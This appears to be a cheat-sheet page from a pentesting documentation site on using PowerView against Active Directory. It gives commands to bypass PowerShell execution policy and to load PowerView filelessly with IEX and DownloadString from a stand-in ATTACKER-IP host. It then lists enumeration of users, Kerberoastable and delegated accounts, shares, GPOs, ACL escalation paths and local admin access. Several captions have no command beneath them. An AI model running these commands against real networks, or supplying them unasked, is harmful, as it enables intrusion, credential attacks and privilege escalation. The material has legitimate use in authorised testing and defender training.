Documentation Index
Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
Use this file to discover all available pages before exploring further.
PowerShell Execution Policy Bypass
Allows running unsigned PowerShell scripts in the current process.
Start a new PowerShell without profile restrictions.
powershell.exe -ExecutionPolicy Bypass -NoProfile
Execute PowerView in memory (fileless execution).
powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/PowerView.ps1')"
Loading PowerView
Start a temporary HTTP server on the attacker machine.
python3 -m http.server 80
Load PowerView directly into memory.
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER-IP/PowerView.ps1')
Download the script locally.
Invoke-WebRequest http://ATTACKER-IP/PowerView.ps1 -OutFile PowerView.ps1
Import the module.
Import-Module .\PowerView.ps1
Check available command names.
Domain Enumeration
Get general domain information.
Retrieve the domain SID.
List domain policies.
Show password & lockout policy.
(Get-DomainPolicy)."SystemAccess"
Show Kerberos configuration.
(Get-DomainPolicy)."KerberosPolicy"
List domain controllers.
Legacy (old PowerView)
Get general domain information.
Retrieve the domain SID.
List domain policies.
List domain controllers.
User Enumeration
List domain users.
Detailed information about a user.
Get-DomainUser -Identity <user> -Properties *
Find Kerberoastable accounts (SPN users).
Identify privileged/protected accounts.
Get-DomainUser -AdminCount
Accounts trusted for delegation.
Get-DomainUser -TrustedToAuth
Check logged-on users on a machine.
Get-NetLoggedon -ComputerName <computer>
Legacy (old PowerView)
List domain users.
Get specific user information.
Get-NetUser -UserName <user>
Find Kerberoastable accounts.
Find privileged accounts.
Computer Enumeration
List domain computers.
Find servers only.
Get-DomainComputer -OperatingSystem "*Server*"
Last logged-on user of a machine.
Get-LastLoggedOn -ComputerName <computer>
Legacy (old PowerView)
List domain computers.
Find servers only.
Get-NetComputer -OperatingSystem "*Server*"
Group Enumeration
List domain groups.
Find administrative groups.
List group members.
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
Find groups a user belongs to.
Get-DomainGroup -UserName <user>
Legacy (old PowerView)
List domain groups.
List members of a group.
Get-NetGroupMember -GroupName "Domain Admins"
Share Enumeration
Find domain shares.
Find accessible shares.
Find-DomainShare -CheckShareAccess
Legacy (old PowerView)
Find network shares.
Locate file servers in the domain.
GPO Enumeration
List Group Policy Objects.
GPO applied to a computer.
Get-DomainGPO -ComputerName <computer>
Machines where GPO grants admin rights.
Find-GPOComputerAdmin -ComputerName <computer>
Where a user has admin rights via GPO.
Find-GPOLocation -Identity <user>
Legacy (old PowerView)
List Group Policy Objects.
OU Enumeration
List organizational units.
Legacy (old PowerView)
List organizational units.
ACL Enumeration
View permissions on AD objects.
Get-DomainObjectAcl -Identity <object> -ResolveGUIDs
Find privilege escalation paths.
Invoke-ACLScanner -ResolveGUIDs
Legacy (old PowerView)
View permissions on AD objects.
Get-ObjectAcl -SamAccountName <object>
Trust Enumeration
Enumerate domain trusts.
Map trust relationships.
Legacy (old PowerView)
Enumerate domain trusts.
Forest Enumeration
Get forest information.
List forest domains.
List global catalog servers.
Legacy (old PowerView)
Get forest information.
List forest domains.
Privilege Escalation
Find machines where current user is local admin.
Find privileged sessions.
Enumerate local administrators across domain.
Invoke-EnumerateLocalAdmin
Find unconstrained delegation systems.
Get-DomainComputer -Unconstrained
Legacy (old PowerView)
Find unconstrained delegation systems.
Get-NetComputer -Unconstrained